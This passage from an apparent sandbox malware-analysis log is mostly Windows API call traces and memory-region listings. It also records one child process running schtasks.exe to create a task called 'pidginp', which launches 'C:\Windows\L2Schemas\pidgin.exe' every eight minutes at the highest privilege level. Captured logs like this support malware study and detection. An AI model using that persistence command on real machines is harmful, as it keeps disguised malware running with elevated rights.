(HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91ab70) returned 1 [0113.581] GetProcessHeap () returned 0x144ec910000 [0113.581] GetProcessHeap () returned 0x144ec910000 [0113.581] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91bad0) returned 1 [0113.581] GetProcessHeap () returned 0x144ec910000 [0113.581] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91bad0) returned 0x20 [0113.582] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91bad0) returned 1 [0113.582] GetProcessHeap () returned 0x144ec910000 [0113.582] GetProcessHeap () returned 0x144ec910000 [0113.582] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914a60) returned 1 [0113.582] GetProcessHeap () returned 0x144ec910000 [0113.582] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914a60) returned 0x18 [0113.582] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914a60) returned 1 [0113.582] GetProcessHeap () returned 0x144ec910000 [0113.582] GetProcessHeap () returned 0x144ec910000 [0113.582] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9190b0) returned 1 [0113.582] GetProcessHeap () returned 0x144ec910000 [0113.582] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9190b0) returned 0x20 [0113.583] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9190b0) returned 1 [0113.583] GetProcessHeap () returned 0x144ec910000 [0113.583] GetProcessHeap () returned 0x144ec910000 [0113.583] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9190e0) returned 1 [0113.583] GetProcessHeap () returned 0x144ec910000 [0113.583] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9190e0) returned 0x20 [0113.584] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9190e0) returned 1 [0113.584] GetProcessHeap () returned 0x144ec910000 [0113.584] GetProcessHeap () returned 0x144ec910000 [0113.584] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec918ed0) returned 1 [0113.584] GetProcessHeap () returned 0x144ec910000 [0113.584] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec918ed0) returned 0x20 [0113.585] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec918ed0) returned 1 [0113.585] GetProcessHeap () returned 0x144ec910000 [0113.585] GetProcessHeap () returned 0x144ec910000 [0113.585] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec918f60) returned 1 [0113.585] GetProcessHeap () returned 0x144ec910000 [0113.585] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec918f60) returned 0x20 [0113.586] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec918f60) returned 1 [0113.586] GetProcessHeap () returned 0x144ec910000 [0113.586] GetProcessHeap () returned 0x144ec910000 [0113.586] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914450) returned 1 [0113.586] GetProcessHeap () returned 0x144ec910000 [0113.586] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914450) returned 0x18 [0113.586] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914450) returned 1 [0113.586] GetProcessHeap () returned 0x144ec910000 [0113.586] GetProcessHeap () returned 0x144ec910000 [0113.586] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec918f00) returned 1 [0113.586] GetProcessHeap () returned 0x144ec910000 [0113.586] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec918f00) returned 0x20 [0113.587] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec918f00) returned 1 [0113.587] GetProcessHeap () returned 0x144ec910000 [0113.587] GetProcessHeap () returned 0x144ec910000 [0113.587] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec918fc0) returned 1 [0113.587] GetProcessHeap () returned 0x144ec910000 [0113.587] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec918fc0) returned 0x20 [0113.587] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec918fc0) returned 1 [0113.587] GetProcessHeap () returned 0x144ec910000 [0113.588] GetProcessHeap () returned 0x144ec910000 [0113.588] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec919080) returned 1 [0113.588] GetProcessHeap () returned 0x144ec910000 [0113.588] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec919080) returned 0x20 [0113.588] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec919080) returned 1 [0113.588] GetProcessHeap () returned 0x144ec910000 [0113.588] GetProcessHeap () returned 0x144ec910000 [0113.588] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9191a0) returned 1 [0113.588] GetProcessHeap () returned 0x144ec910000 [0113.588] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9191a0) returned 0x20 [0113.589] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9191a0) returned 1 [0113.589] GetProcessHeap () returned 0x144ec910000 [0113.589] GetProcessHeap () returned 0x144ec910000 [0113.589] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec919050) returned 1 [0113.589] GetProcessHeap () returned 0x144ec910000 [0113.589] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec919050) returned 0x20 [0113.589] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec919050) returned 1 [0113.590] GetProcessHeap () returned 0x144ec910000 [0113.590] GetProcessHeap () returned 0x144ec910000 [0113.590] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec913fb0) returned 1 [0113.590] GetProcessHeap () returned 0x144ec910000 [0113.590] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec913fb0) returned 0x18 [0113.590] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec913fb0) returned 1 [0113.590] GetProcessHeap () returned 0x144ec910000 [0113.590] GetProcessHeap () returned 0x144ec910000 [0113.590] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec919110) returned 1 [0113.598] GetProcessHeap () returned 0x144ec910000 [0113.598] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec919110) returned 0x20 [0113.599] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec919110) returned 1 [0113.599] GetProcessHeap () returned 0x144ec910000 [0113.599] GetProcessHeap () returned 0x144ec910000 [0113.599] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec916080) returned 1 [0113.599] GetProcessHeap () returned 0x144ec910000 [0113.599] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec916080) returned 0x18 [0113.599] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec916080) returned 1 [0113.599] exit (_Code=0) Thread: id = 147 os_tid = 0x57c Process: id = "13" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x332fd000" os_pid = "0x85c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"pidginp\" /sc MINUTE /mo 8 /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2694 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2695 start_va = 0x119ed00000 end_va = 0x119ed7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000119ed00000" filename = "" Region: id = 2696 start_va = 0x119ee00000 end_va = 0x119effffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000119ee00000" filename = "" Region: id = 2697 start_va = 0x1b748af0000 end_va = 0x1b748b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b748af0000" filename = "" Region: id = 2698 start_va = 0x1b748b10000 end_va = 0x1b748b24fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b748b10000" filename = "" Region: id = 2699 start_va = 0x1b748b30000 end_va = 0x1b748b33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b748b30000" filename = "" Region: id = 2700 start_va = 0x1b748b40000 end_va = 0x1b748b40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b748b40000" filename = "" Region: id = 2701 start_va = 0x1b748b50000 end_va = 0x1b748b51fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b748b50000" filename = "" Region: id = 2702 start_va = 0x7df5ffde0000 end_va = 0x7ff5ffddffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffde0000" filename = "" Region: id = 2703 start_va = 0x7ff684ab0000 end_va = 0x7ff684ad2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684ab0000" filename = "" Region: id = 2704 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2705 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2706 start_va = 0x1b748b60000 end_va = 0x1b748daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b748b60000" filename = "" Region: id = 2707 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2708 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2709 start_va = 0x1b748af0000 end_va = 0x1b748afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b748af0000" filename = "" Region: id = 2710 start_va = 0x7ff6849b0000 end_va = 0x7ff684aaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6849b0000" filename = "" Region: id = 2711 start_va = 0x1b748b60000 end_va = 0x1b748c1dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2712 start_va = 0x1b748cb0000 end_va = 0x1b748daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b748cb0000" filename = "" Region: id = 2713 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2714 start_va = 0x119ed80000 end_va = 0x119edfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000119ed80000" filename = "" Region: id = 2715 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2716 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2717 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2718 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2719 start_va = 0x1b748c20000 end_va = 0x1b748c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b748c20000" filename = "" Region: id = 2720 start_va = 0x1b748b00000 end_va = 0x1b748b06fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b748b00000" filename = "" Region: id = 2721 start_va = 0x1b748db0000 end_va = 0x1b748ef2fff monitored = 0 entry_point = 0x1b748dd8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2722 start_va = 0x1b748c20000 end_va = 0x1b748c26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b748c20000" filename = "" Region: id = 2723 start_va = 0x1b748c40000 end_va = 0x1b748c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b748c40000" filename = "" Region: id = 2724 start_va = 0x1b748c50000 end_va = 0x1b748c62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2729 start_va = 0x1b748db0000 end_va = 0x1b7490e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2732 start_va = 0x1b7490f0000 end_va = 0x1b7491ccfff monitored = 0 entry_point = 0x1b74914e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2733 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2734 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2735 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2736 start_va = 0x1b748c70000 end_va = 0x1b748ca8fff monitored = 0 entry_point = 0x1b748c712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2737 start_va = 0x1b7490f0000 end_va = 0x1b749277fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b7490f0000" filename = "" Region: id = 2738 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2739 start_va = 0x1b748c30000 end_va = 0x1b748c30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b748c30000" filename = "" Region: id = 2740 start_va = 0x1b748c70000 end_va = 0x1b748c70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b748c70000" filename = "" Region: id = 2741 start_va = 0x1b749280000 end_va = 0x1b749400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b749280000" filename = "" Region: id = 2742 start_va = 0x1b749410000 end_va = 0x1b74a80ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b749410000" filename = "" Region: id = 2744 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2745 start_va = 0x1b748c80000 end_va = 0x1b748c80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b748c80000" filename = "" Region: id = 2746 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2747 start_va = 0x1b748c90000 end_va = 0x1b748c90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b748c90000" filename = "" Region: id = 2748 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2749 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2750 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 148 os_tid = 0x300 [0112.658] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0112.658] __set_app_type (_Type=0x1) [0112.658] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0112.658] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0112.659] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0112.659] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0112.659] CsrIdentifyAlertableThread () returned 0x0 [0112.660] GetProcessHeap () returned 0x1b748cb0000 [0112.660] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cb4a30 [0112.660] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.660] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0112.660] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0112.660] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0112.660] RtlVerifyVersionInfo (VersionInfo=0x119ed7f5e0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0112.660] GetProcessHeap () returned 0x1b748cb0000 [0112.660] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cb4a50 [0112.660] lstrlenW (lpString="") returned 0 [0112.660] GetProcessHeap () returned 0x1b748cb0000 [0112.660] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x2) returned 0x1b748cb4a70 [0112.660] GetProcessHeap () returned 0x1b748cb0000 [0112.660] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb43e0 [0112.660] GetProcessHeap () returned 0x1b748cb0000 [0112.660] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cb4410 [0112.660] GetProcessHeap () returned 0x1b748cb0000 [0112.660] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb4430 [0112.660] GetProcessHeap () returned 0x1b748cb0000 [0112.660] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb4460 [0112.660] GetProcessHeap () returned 0x1b748cb0000 [0112.661] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb3fd0 [0112.661] GetProcessHeap () returned 0x1b748cb0000 [0112.661] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb4000 [0112.661] GetProcessHeap () returned 0x1b748cb0000 [0112.661] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cb4030 [0112.661] GetProcessHeap () returned 0x1b748cb0000 [0112.661] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8a40 [0112.662] GetProcessHeap () returned 0x1b748cb0000 [0112.662] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8d40 [0112.662] GetProcessHeap () returned 0x1b748cb0000 [0112.662] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8ad0 [0112.662] GetProcessHeap () returned 0x1b748cb0000 [0112.662] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8a70 [0112.662] GetProcessHeap () returned 0x1b748cb0000 [0112.662] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cb4050 [0112.662] GetProcessHeap () returned 0x1b748cb0000 [0112.662] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8d70 [0112.662] GetProcessHeap () returned 0x1b748cb0000 [0112.662] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8cb0 [0112.662] GetProcessHeap () returned 0x1b748cb0000 [0112.662] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8ce0 [0112.662] GetProcessHeap () returned 0x1b748cb0000 [0112.662] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8b00 [0112.662] SetThreadUILanguage (LangId=0x0) returned 0x409 [0112.664] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.664] GetProcessHeap () returned 0x1b748cb0000 [0112.664] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8d10 [0112.664] GetProcessHeap () returned 0x1b748cb0000 [0112.664] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8b30 [0112.664] GetProcessHeap () returned 0x1b748cb0000 [0112.665] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8b60 [0112.665] GetProcessHeap () returned 0x1b748cb0000 [0112.665] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8aa0 [0112.665] GetProcessHeap () returned 0x1b748cb0000 [0112.665] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8b90 [0112.665] GetProcessHeap () returned 0x1b748cb0000 [0112.665] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cb4820 [0112.665] _memicmp (_Buf1=0x1b748cb4820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.665] GetProcessHeap () returned 0x1b748cb0000 [0112.665] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x208) returned 0x1b748cb96b0 [0112.665] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b748cb96b0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0112.665] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x119ed7f738 | out: lpdwHandle=0x119ed7f738) returned 0x76c [0112.858] GetProcessHeap () returned 0x1b748cb0000 [0112.858] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x776) returned 0x1b748cba7b0 [0112.858] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1b748cba7b0 | out: lpData=0x1b748cba7b0) returned 1 [0112.859] VerQueryValueW (in: pBlock=0x1b748cba7b0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x119ed7f6d0, puLen=0x119ed7f730 | out: lplpBuffer=0x119ed7f6d0*=0x1b748cbab60, puLen=0x119ed7f730) returned 1 [0112.861] _memicmp (_Buf1=0x1b748cb4820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.861] _vsnwprintf (in: _Buffer=0x1b748cb96b0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x119ed7f6a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0112.862] VerQueryValueW (in: pBlock=0x1b748cba7b0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x119ed7f6c0, puLen=0x119ed7f728 | out: lplpBuffer=0x119ed7f6c0*=0x1b748cba990, puLen=0x119ed7f728) returned 1 [0112.862] lstrlenW (lpString="schtasks.exe") returned 12 [0112.862] lstrlenW (lpString="schtasks.exe") returned 12 [0112.862] lstrlenW (lpString=".EXE") returned 4 [0112.862] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0112.863] lstrlenW (lpString="schtasks.exe") returned 12 [0112.863] lstrlenW (lpString=".EXE") returned 4 [0112.863] _memicmp (_Buf1=0x1b748cb4820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.863] lstrlenW (lpString="schtasks") returned 8 [0112.863] GetProcessHeap () returned 0x1b748cb0000 [0112.863] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8c50 [0112.863] GetProcessHeap () returned 0x1b748cb0000 [0112.863] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cb8c80 [0112.863] GetProcessHeap () returned 0x1b748cb0000 [0112.863] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb800 [0112.863] GetProcessHeap () returned 0x1b748cb0000 [0112.863] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb830 [0112.863] GetProcessHeap () returned 0x1b748cb0000 [0112.863] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cb2100 [0112.863] _memicmp (_Buf1=0x1b748cb2100, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.863] GetProcessHeap () returned 0x1b748cb0000 [0112.863] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xa0) returned 0x1b748cb4260 [0112.863] GetProcessHeap () returned 0x1b748cb0000 [0112.863] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb470 [0112.863] GetProcessHeap () returned 0x1b748cb0000 